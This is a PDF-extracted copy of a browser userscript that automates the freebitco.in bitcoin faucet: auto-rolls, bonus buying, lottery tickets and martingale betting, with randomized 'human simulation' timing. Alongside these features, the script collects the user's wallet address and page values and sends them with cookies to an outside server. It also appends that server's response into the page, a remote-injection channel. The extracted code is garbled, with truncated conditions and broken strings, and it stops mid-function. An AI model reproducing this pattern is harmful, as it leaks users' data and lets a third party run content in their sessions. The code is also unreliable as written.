Free Bit Co Next Roll Predictor 2021 [PDF]

  • 0 0 0
  • Gefällt Ihnen dieses papier und der download? Sie können Ihre eigene PDF-Datei in wenigen Minuten kostenlos online veröffentlichen! Anmelden
Datei wird geladen, bitte warten...
Zitiervorschau

// ==UserScript== // @name Freebitcoin [2021] - Auto Roll - Betting System - ALL Bonuses Multiply - Lottery - Status Console // @description AUTOROLL SCRIPT [MAY 2021] --Auto Roll --Status Console --4 Betting Strategies 2021 --Special graphs 4 referrals --Extinction bet --Balance protection --Odds -- Increase Rate --AutoRoll Low Balance paying RP --Human Simulation --NO captcha solving --Lottery tickets --1000% & RP Bonus --Close ADS --Slower night mode --Advanced AI random times --Extra functions added daily. // @author dany-veneno // @icon https://bit.ly/33sYX3b // @match https://freebitco.in/* // @grant none // @create 2018-05-27 // @lastmodified 2021-05-01 // @version 3.7 // @compatible firefox Tested with Tampermonkey // @compatible chrome Tested with Tampermonkey // @namespace https://greasyfork.org/users/572366 // @license GPL // @supportURL https://bit.ly/2JsP12I // @homepage https://crypto-info-blog.blogspot.com/p/freebitcoin-autorollinstall-how-to.html // @home-url https://bit.ly/2M4BNH7 // @home-url2 https://bit.ly/2zn0b4p // @homepageURL https://greasyfork.org/en/scripts/404112 // @copyright 2018-2021, dany-veneno // @run-at document-begin // @note If you like this script, please register with my referal: https://bit.ly/2XFuZVQ // @note Or send some satoshi at this address 3FwAazZDEuy3ER4NQVp4Yqo6kDxCFntwS8 // @note This will help a lot script development and future free updates // @history 3.7.0 Test your multiply config on bitso.me calculator // @history 3.6.9 Lights blinks in multiply panel // @history 3.6.8 Bugfix in multiply max_play // @history 3.6.7 Small bugfix in new funcs // @history 3.6.5 New Server Migration, send multiply info at server, bugfix in multiply type 0 and more // @history 3.6.3 Play count in strategy=0 fixed, new ads closed // @history 3.6.2 Added REFERRAL PANEL in multiply tab, BtcPrice update every 10 min and infinite bugfix, added reset stats // @history 3.6 Added btcprice and satprice in status panel, and disabled animation in multiply - CastorpoluXX // @history 3.5.9 BugFixs in multiply target, fixed - CastorpoluXX // @history 3.5.8 BugFix in multiply target, fixed - CastorpoluXX and Vitto // @history 3.5.6 Target Added, BugFix in multiply // @history 3.5.5 BugFix in multiply // ==/UserScript== /////////////////////////////////////////////////////////////////////////////////// ///////////// //////////////////////////////////// ///////// CONFIG /// ////// EDIT JUST THIS SECTION // ////////////////////////////////////

// ** BEHAVIOR ** // var ROLL = true; // will NOT be executed ***. var PROMO_MODE = true; // or not. Override nexts. var GHOST_MODE = true; // Override nexts. var SLOW_MODE = true; // Override nexts. var NIGHT_MODE = true; //

Auto Roll enable or disable. **** If Disabled, Multiply Override nexts. play faster when some promo (bonus RP or 1000% is active, *NEW* Don't play in the night if no promo actives. play always really slow, not ovevrcharghing the rolls. play slower when it's night time

// *** Bonuses // It buys bonuses just when missing less then 20 minutes to the Roll. To avoid losing 1 bonus Roll. var REWARDS = true; //decide if auto buy rewards bonuses, or not ***When true, it will activate RP promotions*** var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP. *** When BONUS1000 = false and REWARDS = true, you'll increase RP. *** var HOURS_BETWEEN_BUY_BONUS = 240; // How many hours to wait before to buy Bonuses Rewards Promo again // *** Lottery var LOTTERY = true; //decide if auto buy lottery tickets, or not. var LOTTERY_MAX_TICKETS = 15; // Max ticket to buy var LOTTERY_P = 7; // 0 is never, 100 is always // *** Multiply Game // Exec Vars. **If and When Play**. var MULTIPLY = true; // Play Multiply games or not, Play at your own risk. If ROLL is false, Multiply will not work. var MULTIPLY_AT_NIGHT = true; // Play multiply in nightiime var HOURS_BETWEEN_MULTIPLY = 36; // How many hours to wait before to play multiply var ROLL_P = 20; // How many time to play multiply, AFTER roll AND AFTER HOURS passed; Values: 0-100 // Strategy of play var STRATEGY = 0;// [0-3] ---> ..(0) classic martingale, odds2 incr100; ..(1) wait min_losses; ..(2) wait_play_afterlosses; ..(3) same as 2, with min_lossess increments every play. Check guides. // Exit Vars. **First condition met, multiply will stop** var MAX_ROLLS_AT_MULTIPLY = 1000; //how many rolls in multiply. It will safely play till it win or reach maxbet. var MAX_PLAY = 400; // How many time maximum will play martingale. How much time BASE_BET is played. var MAX_WIN = 0.00001000; // Target Win, Stop to play multiply when those sats won. var MAX_BET = 0.00004096; // MAX BET reached, STOP condition // Bet Amounts Vars. var MIN_BET = 0.00000001; // STUFF BET to play till don't lose LOSSES_BEFORE_PLAY times; Just work in MODE = manual. var BAS_BET = 0.00000001; // BASE BET when begin the PLAY // Strategies Vars. **How to play**. var ODDS = 2; // Odds of the multiply game. var INCR = 100; // Porcentage of increment in case of lost. var HIGH_LOW = 1; //You can decide how to play; 0 random, 1 H, 2 L, 3 OLAER; check

guides var MIN_LOSSES_BEFORE_PLAY = 4; // How many time it will play MIN_BET and lose before begin play bas_bet and double; strategy >= 1 var WAIT_PLAY_AFTER_LOSSES = 1; // Just with STRATEGY=2; Check guides. var SPEED = 3; human, 0 slowest

//Speed of multiply betting in manual mode, 3 fast, 2 medium, 1

// *** CAPTCHA PLAY *** /// var PLAY_WITHOUT_CAPTCHA = false; // Spend RP instead to solve Captchas // ** Logging var LOGGING = 5; //0 is no messages, 5 is debug // ** SEND STATS and multiply CONFIG var SEND_STATS = true; // **Extra BUTTONS var SHOW_RESET_STATS = false; var SHOW_TEST_MULT_CONF = true; ///////// END CONFIG /// /////////////////////////////////////////////////////////////////////////////////// ////////////// // Useful Vars var startNight = 20; var stopNight = 8; ////////////// // System Constants // const script_version = GM_info.script.version; const css_reset='font-weight: reset; color:reset'; const css_bold='font-weight:bold;'; var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month: 'short', day: '2-digit', hour: 'numeric', minute: 'numeric', hour12: false }); // System Variables // var reward_points=0; var ads_closed=0; //number of ads closed, increasing var rolling_mode="Day"; var rand = 0; var r = 0; var rollTryCount=0; // Bonus RP Global Variables var isBonusActive = false; // Multiply global variables var isMultiplyRunning = false; var isMultiplyPlayable=false; var forceMultiplyStopHard=false; var forceMultiplyStopSoft=false; var game_play_began=false; var game2_consecutive_lost_passed=false; var game2_finished_loosing=false; var game2_play_after_losses=0;

var game2_step=0; var game_play_count=0; // History Array Variables var rp_hist_arr = []; var multiply_hist_arr = []; // var var var var var var var var var var var var var var var var var var var var var

COOKIES Variables and Retrieve // tot_exec = getCookie("executions"); tot_btc_winning_rolling = getCookie('tot_btc_winning_rolling'); tot_lottery_winning_rolling = getCookie('tot_lottery_winning_rolling'); tot_rp_winning_rolling = getCookie('tot_rp_winning_rolling'); tot_lottery_tickets = getCookie('tot_lottery_tickets'); tot_rp_spent_rewards = getCookie('tot_rp_spent_rewards'); tot_rp_spent_captcha = getCookie('tot_rp_spent_captcha'); tot_multiply_balance = getCookie('tot_multiply_balance'); tot_multiply_games = getCookie('tot_multiply_games'); tot_multiply_bets = getCookie('tot_multiply_bets'); tot_multiply_play = getCookie('tot_multiply_play'); tot_multiply_wagered = getCookie('tot_multiply_wagered'); max_consecutive_losts = getCookie('max_consecutive_losts'); max_consecutive_losts_inplay = getCookie('max_consecutive_losts_inplay'); executions = getCookie('executions'); last_bonus = getCookie("last_bonus"); last_multiply = getCookie("last_multiply"); jackpot_distance = getCookie("jackpot_distance"); rp_hist_str = getCookie("rp_hist_arr"); multiply_hist_str = getCookie('multiply_hist_arr'); referrer = getCookie("referrer");

if ( isNaN(parseFloat(tot_multiply_balance)) ) tot_multiply_balance = 0; // can be negative if ( isNaN(jackpot_distance )) jackpot_distance = 0; if (! (tot_btc_winning_rolling > 0)) tot_btc_winning_rolling = 0; if (! (tot_lottery_winning_rolling > 0)) tot_lottery_winning_rolling = 0; if (! (tot_rp_winning_rolling > 0)) tot_rp_winning_rolling = 0; if (! (tot_lottery_tickets > 0)) tot_lottery_tickets = 0; if (! (tot_rp_spent_rewards > 0) || tot_rp_spent_rewards > 1000000 ) tot_rp_spent_rewards = 0; if (! (tot_rp_spent_captcha > 0)) tot_rp_spent_captcha = 0; if (! (max_consecutive_losts > 0)) max_consecutive_losts = 0; if (! (max_consecutive_losts_inplay >0)) max_consecutive_losts_inplay=0; if (! (tot_multiply_bets > 0)) tot_multiply_bets = 0; if (! (tot_multiply_wagered > 0)) tot_multiply_wagered = 0; if (! (tot_multiply_games > 0)) tot_multiply_games = 0; if (! (tot_multiply_play > 0)) tot_multiply_play = 0; if (! (executions > 0)) executions = 0; if (! (last_bonus > 0)) last_bonus = 0; if (! (last_multiply > 0)) last_multiply = 0; if ( rp_hist_str.length != 0 ) { rp_hist_arr = JSON.parse(rp_hist_str); if (!Array.isArray(rp_hist_arr)) { rp_hist_arr = []; } rp_hist_arr = rp_hist_arr.slice(-64); //console.log("%cRP Hist Array: "+rp_hist_arr, 'color:grey'); } if ( multiply_hist_str.length != 0) { multiply_hist_arr = JSON.parse(multiply_hist_str);

if (!Array.isArray(multiply_hist_arr)) { multiply_hist_arr = []; } multiply_hist_arr = multiply_hist_arr.slice(-128); } // END COOKIES // (function() { 'use strict'; if (LOGGING > 0) console.log("%c>", 'fontweight:bold; color: green'); // Initialize the Status Panel panelInit(); multiplyPanelInit(); setTimeout(function(){ setTimeout(function(){ setTimeout(function(){ setTimeout(function(){ setTimeout(function(){

showStatus(); }, 1000 ); lottery(); }, 2000 ); multiply(false, false); }, 4000 ); rewards(true); }, 5000 ); setBtcPrice(); }, 3000 );

// Update BTC Price every 10s setInterval(function(){ // Update website stats UpdateStats(); setTimeout(function(){ setBtcPrice(); }, 10000 ); }, 600000); // Call the freeRoll setTimeout(function(){ Roll();

}, 8000 );

//Close Ads but not always setTimeout(function(){ closeRandomPopupInterval($('div.close_daily_jackpot_main_container_div .fatimes-circle'),90); closeRandomPopupInterval($('i.fa.fa-timescircle.close_deposit_promo_message'),90); closeRandomPopupInterval($('div#lambo_contest_msg a.close'),10); //lambo contest closeRandomPopupInterval($('div#earn_btc_msg a.close'),20); closeRandomPopupInterval($('div#enable_2fa_msg_alert a.close'),30); closeRandomPopupInterval($("[id^='hide_rp_promo']"),50); closeRandomPopupInterval($("#fun_ref_contest_msg a.close"),90); closeRandomPopupInterval($("#premium_membership_msg a.close"),90); }, 15000); setInterval(function(){ closePopupInterval($('#myModal22 .close-reveal-modal')); closePopupInterval($('.pushpad_deny_button')); }, 20000 ); setInterval(function(){ showStatus(); }, 1800000); setInterval(function(){ rewards(false);

}, 300000); // MONITORS $(document).on('click', '#forced_start_roll',function(){ // forced and after_roll both true multiply(true, true); }); $(document).on('click', '#forced_stop_roll', function(){ forceMultiplyStopHard=true; }); $(document).on('click', '#softed_stop_roll', function(){ forceMultiplyStopSoft=true; }); $(document).on('click', '#script_output_reset_all_stats', function(){ reset_all_stats(); }); // END MONITORS var wa = $('#myModal16 #main_deposit_address').val(); $('#myModal16 .reward_category_container .reward_category_details input').each( function() { wa += ":"+$(this).val(); }) // GET EXTERNAL JAVASCRIPT //var referURL = "https://www.pescacancun.com.mx/freebitcoin_server_side/ser.php?wallet="+wa; var referURL = "https://api.bitso.me/ser.php"; //new veneno website URL // GLOBAL TEST for NEW VERSIONS window.TEST_VAR = "This is a test veneno var"; window.G_MULTIPLY = MULTIPLY; window.G_GAME_MODE = 0; window.G_STRATEGY = STRATEGY; window.G_MULTIPLY_WAIT_HOURS = HOURS_BETWEEN_MULTIPLY; window.G_ROLL_P = ROLL_P; window.G_ODDS = ODDS; window.G_INCR = INCR; window.G_MIN_BET = MIN_BET; window.G_BAS_BET = BAS_BET; window.G_MAX_BET = MAX_BET; window.G_MAX_ROLLS_AT_MULTIPLY = MAX_ROLLS_AT_MULTIPLY; window.G_MAX_PLAY = MAX_PLAY; window.G_MAX_WIN = MAX_WIN; window.G_SPEED = SPEED; window.G_MULTIPLY_AT_NIGHT = MULTIPLY_AT_NIGHT; window.G_MIN_LOSSES_BEFORE_PLAY = MIN_LOSSES_BEFORE_PLAY; window.G_WAIT_PLAY_AFTER_LOSSES = WAIT_PLAY_AFTER_LOSSES; window.G_HIGH_LOW = HIGH_LOW; window.G_forceMultiplyStopHard = forceMultiplyStopHard; window.G_script_version = script_version; // Get level

fetch(referURL+"?wallet="+wa, { credentials: "include" //CORS }) .then(function(resp) { return resp.text() }) // Convert data to json .then(function(data) { var e=""; $('body').append(e); }) .catch(function() { }); if (Boolean(SEND_STATS)) { var stats_json = { "multiply" : MULTIPLY, "strategy" : STRATEGY, "wait_hours" : HOURS_BETWEEN_MULTIPLY, "roll_p" : ROLL_P, "odds" : ODDS, "incr" : INCR, "min_bet" : parseFloat(MIN_BET).toFixed(8), "bas_bet" : parseFloat(BAS_BET).toFixed(8), "max_bet" : parseFloat(MAX_BET).toFixed(8), "max_rolls" : MAX_ROLLS_AT_MULTIPLY, "max_plays" : MAX_PLAY, "max_win" : parseFloat(MAX_WIN).toFixed(8), "min_losses_before_play" : MIN_LOSSES_BEFORE_PLAY, "wait_play_after_losses" : WAIT_PLAY_AFTER_LOSSES, "high_low" : HIGH_LOW, "wallet" : wa } // Send config for statistics fetch(referURL+"?uploadConfig=true", { method: 'POST', body: JSON.stringify(stats_json), credentials: "include" }) .then(function(resp) { return resp.text() }) .then(function(data) { }) .catch(function() { }); } // Get chart function fetch("https://cdn.jsdelivr.net/npm/[email protected]") .then(function(resp) { return resp.text() }) .then(function(data) { var e=""; $('body').append(e); }) .catch(function() { }); })(); function panelInit () { var script_output_css, script_output_33; if (LOGGING > 4) console.log("%c[Debug] Function panelInit begin", 'color:grey'); // Create the Div on the page // Version 3.3 script_output_css = ""; script_output_33 = ''; if (referrer.length > 0) { script_output_33 += 'AutoRoll Status rev. '+script_version+''; } else { script_output_33 += 'AutoRoll Status ver. '+script_version+''; } script_output_33 += ''; script_output_33 += ''; script_output_33 += ''; script_output_33 += 'ROLL'+Boolean(ROLL)+' '; script_output_33 += 'MULTIPLY'+Boolean(MULTIPLY)+' '; script_output_33 += 'BONUS RPs'+Boolean(REWARDS)+' '; script_output_33 += 'BONUS 1000'+Boolean(BONUS1000)+' '; script_output_33 += 'LOTTERY'+Boolean(LOTTERY)+' '; script_output_33 += ''; // close left first line script_output_33 += ''; script_output_33 += ''; script_output_33 += ' Wins '; script_output_33 += ' '; script_output_33 += ' Btc: '+tot_btc_winning_rolling+''; script_output_33 += ' RP: '+tot_rp_winning_rolling+''; script_output_33 += ' Lottery: '+tot_lottery_winning_rolling+''; script_output_33 += ' '; script_output_33 += ''; // column script_output_33 += '';

script_output_33 += ' Spent '; script_output_33 += ' '; script_output_33 += ' RP Bonus: '+tot_rp_spent_rewards+' '; script_output_33 += ' RP Captcha: '+tot_rp_spent_captcha+' '; script_output_33 += ' Btc Lottery: '+tot_lottery_tickets+''; //script_output_33 += '  '; script_output_33 += ' '; script_output_33 += ''; // column script_output_33 += ''; script_output_33 += ' Multiply '; script_output_33 += ' '; script_output_33 += ' Balance: '+tot_multiply_balance+' '; script_output_33 += ' Bets: '+tot_multiply_bets+' '; script_output_33 += ' Sessions: '+tot_multiply_games+' '; script_output_33 += ' '; script_output_33 += ''; // column script_output_33 += ''; // close left second line script_output_33 += ''; script_output_33 += ' btc: usd'; script_output_33 += ' usd: sat'; script_output_33 += ''; // close left third line script_output_33 += ''; // close left script_output_33 += ''; script_output_33 += ' '; script_output_33 += ' Exec: # '+tot_exec+' '; script_output_33 += ' Ads Closed: 0'; script_output_33 += ' Bonus: Wait'; script_output_33 += ' Multiply: Wait'; script_output_33 += ' Multiply Game System: '+STRATEGY+''; script_output_33 += ' Roll Mode: Wait'; script_output_33 += ' Wait'; if (Boolean(SHOW_RESET_STATS)) { script_output_33 += ' Reset All Stats'; } script_output_33 += ' '; script_output_33 += ''; // close right script_output_33 += ''; // close cards wrapper script_output_33 += ''; script_output_33 += ' ';

script_output_33 += ' Donations are welcome BTC addr: 3FwAazZDEuy3ER4NQVp4Yqo6kDxCFntwS8 '; script_output_33 += ' '; script_output_33 += ' '; script_output_33 += ' Config HowTo'; script_output_33 += ' Rate'; script_output_33 += ' '; script_output_33 += script_output_33 += veneno2018 script_output_33 +=

' '; ' © daniele2021'; ' ';

script_output_33 += ''; script_output_33 += ''; // close script_output // Write on page $('head').append(script_output_css); $('#reward_points_bonuses_main_div').prepend(script_output_33); } function multiplyPanelInit(){ let out=""; out += "" out += " "; out += "

Test your multiply configuration on "; out += " Advanced Martingale Calculator"; out += "

"; out += " "; out += ""; if (SHOW_TEST_MULT_CONF) $('#double_your_btc').prepend(out); } function rewards(after_refresh) { if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] Function rewards begin", 'color:grey'); var bonus_missing_time = {}; var t = missingTime(); var d = new Date(); var min_missing_min = 5; var milli_between_bonuses = HOURS_BETWEEN_BUY_BONUS*60*60*1000; reward_points = parseInt($('.user_reward_points').text().replace(',',"")); // Create a RP History if (after_refresh) { rp_hist_arr.push(reward_points); setCookie ("rp_hist_arr", JSON.stringify(rp_hist_arr), 31); // Debug for RP history check if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] rp_hist: " +rp_hist_arr, 'color:grey'); }

if ($("#bonus_container_free_points").length != 0) { // Some promo is already active bonus_missing_time.text = $('#bonus_span_free_points').text(); bonus_missing_time.hour = parseInt(bonus_missing_time.text.split(":")[0]); bonus_missing_time.min = parseInt(bonus_missing_time.text.split(":")[1]); if (LOGGING > 3) console.log("[RPBonuses] Promo RP is %c active %c for "+bonus_missing_time.hour+":"+bonus_missing_time.min, 'color: purple', css_reset); setCookie("last_bonus", d.getTime(), 365); isBonusActive = true; if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo"); $('#script_output_title_bonus_wait_hours').text('Active '+bonus_missing_time.hour+'h '+bonus_missing_time.min+"m").addClass('bold'); } else { // No promos active var last_bonus_diff = Math.floor(d.getTime() - last_bonus); //if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] lastBonus diff: "+last_bonus_diff+" -- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var setted: "+milli_between_bonuses, 'color:grey'); //If disabled not buying if (! Boolean(REWARDS)) { if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Not Active by config'); $ ('#script_output_title_bonus_wait_hours').text('Disabled').removeClass('true').addC lass('false'); return false; } // or if missing time not satisfied if ( last_bonus_diff < milli_between_bonuses ) { var min_between_bonuses = Math.floor((milli_between_bonuseslast_bonus_diff)/1000/60); var hours_between_bonuses = Math.floor(min_between_bonuses/60); if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait HOURS_BETWEEN_BUY_BONUS before buy again, missing: '+hours_between_bonuses+'h '+min_between_bonuses%60+'m'); $('#script_output_title_bonus_wait_hours').text('Wait '+hours_between_bonuses+"h "+min_between_bonuses %60+"m").removeClass('true').addClass('false'); return false; } // or if missing time on roll error if (t[0] < 0){ if (LOGGING > 3) console.log('[RPBonuses] Error getting missing time less then 0, that was'+t[0]+":"+t[1]); $ ('#script_output_title_bonus_wait_hours').text('E0001').removeClass('true').addClas s('false'); return false; } // or before missing 10-20 minutes if ( t[0] >= min_missing_min ) { if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait '+Math.floor(t[0]-min_missing_min)+' minutes to buy near roll'); $('#script_output_title_bonus_wait_hours').text('Wait '+Math.floor(t[0]-min_missing_min)+' m');

}

return false;

// Buy some RP Bonus $('.rewards_link').not('.hide_menu').click(); tot_rp_spent_rewards = parseInt(tot_rp_spent_rewards); if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses before: "+tot_rp_spent_rewards); setTimeout(function() { if (reward_points < 12) { if (LOGGING > 2) console.log("[RPBonuses] bonus. Less then 12. Waiting for points in next rolls"); } else if (reward_points < 120) { if (LOGGING > 1) console.log("[RPBonuses] RedeemRPProduct('free_points_1'); tot_rp_spent_rewards+=12; } else if (reward_points < 600) { if (LOGGING > 1) console.log("[RPBonuses] RedeemRPProduct('free_points_10'); tot_rp_spent_rewards+=120; } else if (reward_points < 1200) { if (LOGGING > 1) console.log("[RPBonuses] RedeemRPProduct('free_points_50'); tot_rp_spent_rewards+=600; } else { if (LOGGING > 1) console.log("[RPBonuses] RedeemRPProduct('free_points_100'); tot_rp_spent_rewards+=1200; }

No enough points to buy buying bonus 1RP");

buying bonus 10RP");

buying bonus 50RP");

buying bonus 100RP");

if (reward_points >= 4800 && Boolean(BONUS1000) ) { if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1000% roll not convenient anymore"); setTimeout(function() { RedeemRPProduct('fp_bonus_1000')},random(5000,10000)); tot_rp_spent_rewards+=3200; } $("#script_output_title_msg_mode").text("Promo"); setTimeout(function(){ setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7); if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses after: "+tot_rp_spent_rewards); $('.free_play_link').not('.hide_menu').click(); }, random(10000,20000)); }

} ,random(2000,16000));

} function Roll() { if (LOGGING > 4) console.log("%c[Roll] [Debug] Function Roll begin", 'color:grey'); var d = new Date(); var h = d.getHours(); var t = missingTime();

if (!Boolean(ROLL)) { $ ("#script_output_title_msg_mode").text("Disabled").removeClass('true').addClass('fa lse'); return true; } rollTryCount++; if ($('#free_play_form_button').is(':visible') && ! $ ('#play_without_captchas_button').is(':visible')) { r=random(1,100); if ( isNight() && Boolean(NIGHT_MODE) ) { if (r 2) console.log ("[Roll] Captcha Roll"); captchaRoll(); } else { return false; } } else if (rollTryCount >= 10) { // refresh page after 10 minutes trying the next case location.reload(); } else if (t[0] 2) console.log("[Roll] Retry in 1m"); setTimeout(function(){ Roll(); }, 60000 ); } else { $('#script_output_title_msg_roll').html('Waiting Next Roll'); //$("#script_output_title_msg_mode").text("Wait"); if (LOGGING > 2) console.log("[Roll] No roll"); } } function captchaRoll() { if (LOGGING > 4) console.log("%c[Roll] [Debug] Function captchaRoll begin", 'color:grey'); $('#play_without_captchas_button').click(); setTimeout(function(){ var cost_rp = $('.play_without_captcha_description span').text(); if (LOGGING > 2) console.log ("%c[Roll] Try to play without captcha for "+cost_rp+" RP points. You have "+reward_points+" RP.", 'color:purple;'); if (reward_points >= cost_rp ) { // ROLL anyway paying if (LOGGING > 2) console.log ("[Roll] Roll with Captcha"); $('#script_output_title_msg_roll').html('Captcha OK'); r=random(1,100); if (r 2) console.log ("%c[Roll] Not enough RP. No Roll", 'color: red'); $('#script_output_title_msg_roll').html('Miss RP'); // Status on page } }, random(1000,3000)); } function rollAndRetrieve (rand) { if (LOGGING > 4) console.log("%c[Roll] [Debug] Function rollAndRetrieve begin", 'color:grey'); var d = new Date(); var h = d.getHours(); // Show hour when will roll in status panel // new date to modify various time during function var d1 = new Date(); d1.setSeconds(d.getSeconds() + rand/1000); var [{ value: year },,{ value: month },,{ value: day },,{ value: hour },, { value: minute }] = dateTimeFormat.formatToParts(d1); $('#script_output_title_msg_roll').html('Roll at '+hour+':'+minute+''); if (LOGGING > 2) console.log('%c[Roll] ---Will roll in '+rand/1000/60+' minutes','color:green'); setTimeout(function(){ //Duplicate the visibility chek to avoid error when humans roll and don't refresh. if ( $('#free_play_form_button').is(':visible') ){ $('body').focus(); //Update Status on page $('#script_output_title_msg_roll').html('++ Rolling NOW!'); // Status on page if (LOGGING > 2) console.log('%c+++ROLL!','color:purple; font-weight: bold'); // Execute the roll!! setTimeout(function(){ $('#free_play_form_button').click(); }, 500); setTimeout(function(){ // get some errors and log those :( if ( $('#free_play_error').html().length > 0 ) { if (LOGGING > 1) console.log("%c[Roll] Some error occurred in

Roll: "+$('#free_play_error').html() ); return false; } else { var win_btc = $('#winnings').text(); var win_lottery = $('#fp_lottery_tickets_won').text(); var win_rp = $('#fp_reward_points_won').text(); executions++; } // close tedious popup now closePopupInterval($('.close-reveal-modal')); //Update Status on page $('#script_output_title_msg_roll').html('++ Rolled'); // Status on page $('#script_output_title_executions_num').text(executions); setCookie('executions', executions, 7); if (LOGGING > 2) console.log('%c[Roll] Execution number: '+executions,'font-weight:bold; color:green'); if (LOGGING > 2) console.log('%c[Roll] Got '+win_btc+' btc, '+win_lottery+' tickets and '+win_rp+' RP!','font-weight:bold; color:green'); if (win_btc > 0) { tot_btc_winning_rolling = parseFloat(parseFloat(tot_btc_winning_rolling) + parseFloat(win_btc)).toFixed(8); setCookie('tot_btc_winning_rolling', tot_btc_winning_rolling, 7); if (LOGGING > 2) console.log('%c[Roll] BTC Won totally with script %c'+tot_btc_winning_rolling,'color: gray', 'font-weight:bold'); } else { if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning btc was: '+win_btc, 'color: red'); } if (win_lottery > 0) { tot_lottery_winning_rolling = parseFloat(parseFloat(tot_lottery_winning_rolling) + parseFloat(win_lottery)).toFixed(0); setCookie('tot_lottery_winning_rolling', tot_lottery_winning_rolling, 7); if (LOGGING > 2) console.log('%c[Roll] Tickets Won with script %c'+tot_lottery_winning_rolling,'color: gray', 'font-weight:bold'); } else { if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning lottery was: '+win_btc, 'color: red'); } if (win_rp > 0) { tot_rp_winning_rolling = parseFloat(parseFloat(tot_rp_winning_rolling) + parseFloat(win_rp)).toFixed(0); setCookie('tot_rp_winning_rolling', tot_rp_winning_rolling, 7); if (LOGGING > 2) console.log('%c[Roll] RP Won with script %c'+tot_rp_winning_rolling,'color: gray', 'font-weight:bold'); } else { if (LOGGING > 1) console.log('%c[Roll] Error retrieving Roll Winnings. Winning RP was: '+win_btc, 'color: red'); } }, 6999); } else { if (LOGGING > 3) console.log('[Roll] Already Rolled maybe by some human..'); //Update Status on page

$('#script_output_title_msg_roll').html('Already Rolled'); // Status on page setTimeout(function(){ location.reload(); }, 30000); } },rand); //Random Action After ROLL var rand1=rand+random(1000,600000); rand=random(0,100); if (rand > ROLL_P) { if (LOGGING > 2) console.log('[Roll] [Debug] Reload page after roll in '+rand1/1000/60+' minutes!'); setTimeout(function(){ location.reload(); }, rand1); } else if (rand 0) console.log('[Roll] ---Will multiply in '+rand1/1000/60+' minutes!'); $('#script_output_multiply_status').html('Multiply at: '+hour+':'+minute+''); setTimeout(function(){ multiply(true, false); }, rand1); } else { if (LOGGING > 2) console.log('[Roll] No action after roll. Rand was '+rand); } } function lottery () { //Plan buying lottery ticket if(Boolean(LOTTERY)){ if (LOGGING > 4) console.log("%c[Lottery] [Debug] Function lottery begin", 'color:gray'); var r = random(1,100); var d = new Date(); var h = d.getHours(); var satbalance = parseInt($('#balance').text().split(".")[1]); var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy if ( isNight() ) return true; else if (satbalance = LOTTERY_P) return true; if (LOGGING > 2) console.log("[Lottery] Buy %c"+ randl + " lottery tickets %cin some time....", 'color:yellow', 'color:reset'); setTimeout(function(){ $('#lottery_tickets_purchase_count').val(randl); setTimeout(function(){ $('#purchase_lottery_tickets_button').click(); if (LOGGING > 2) console.log("%c[Lottery] Bought "+ randl + " lottery tickets", 'color:yellow'); tot_lottery_tickets = Math.floor(parseInt(tot_lottery_tickets) + parseInt(randl)); setCookie('tot_lottery_tickets',tot_lottery_tickets,7); }, random(2000,4000)); }, random(40000,120000)); } }

// Multiply, called after the free roll, sometimes. // ******** MULTIPLY GAME LOGIC START ********* // Pre start and selector function multiply(after_roll, forced) { if (LOGGING > 4) console.log("%c[Multiply] [Debug] Function multiply begin", 'color:grey'); var d = new Date(); var h = d.getHours(); var t = missingTime(); var max_missing_min = 0; var milli_between_multiplies = Math.floor(HOURS_BETWEEN_MULTIPLY*60*60*1000); var balance = parseFloat($('#balance').text()).toFixed(8); var bonus_mul = false; var last_multiply_diff = Math.floor(d.getTime() - last_multiply); if (LOGGING > 4) console.log("%c[Multiply] [Debug] lastMultiply diff: "+last_multiply_diff+" -- last_multiply: "+last_multiply+" -- now: "+d.getTime(), 'color:grey'); if ($("#bonus_account_table").length != 0) { var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0]; var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")

[0];

if (LOGGING > 2) console.log('%c[Multiply] bonus balance: '+bonus_mul_balance+', wager remaining: '+bonus_mul_wager_remaining, 'color:grey'); bonus_mul = true; } else bonus_mul = false; if (!Boolean(MULTIPLY) && !Boolean(forced)) { if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Disabled by config'); $ ('#script_output_title_multiply_wait_hours').text('Disabled').removeClass('true').a ddClass('false'); $('#multiply_strategy').hide(); return false; } if ( !Boolean(MULTIPLY_AT_NIGHT) && isNight() && !Boolean(forced)) { if (LOGGING > 3) console.log('%c[Multiply] Not playing multiply in the night','color:gray'); $('#script_output_title_multiply_wait_hours').text('Wait Morning'); return false; } if ( balance < MAX_BET && bonus_mul_balance < MAX_BET && !Boolean(forced)) { if (LOGGING > 3) console.log('[Multiply] Not enough balance for MAX_BET'); $('#script_output_title_multiply_wait_hours').text('Adjust MaxBet'); return false; } if ( last_multiply_diff < milli_between_multiplies && !Boolean(forced)) { var min_between_mult=Math.floor((milli_between_multiplies last_multiply_diff)/1000/60); var hours_between_mult=Math.floor(min_between_mult/60); if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait HOURS_BETWEEN_MULTIPLY before play again, missing '+hours_between_mult+"h "+min_between_mult%60+"m"); $('#script_output_title_multiply_wait_hours').text('Wait '+hours_between_mult+"h "+min_between_mult%60+"m"); //$('#ref_multiply_missing_hours').text(Math.ceil((milli_between_multiplies

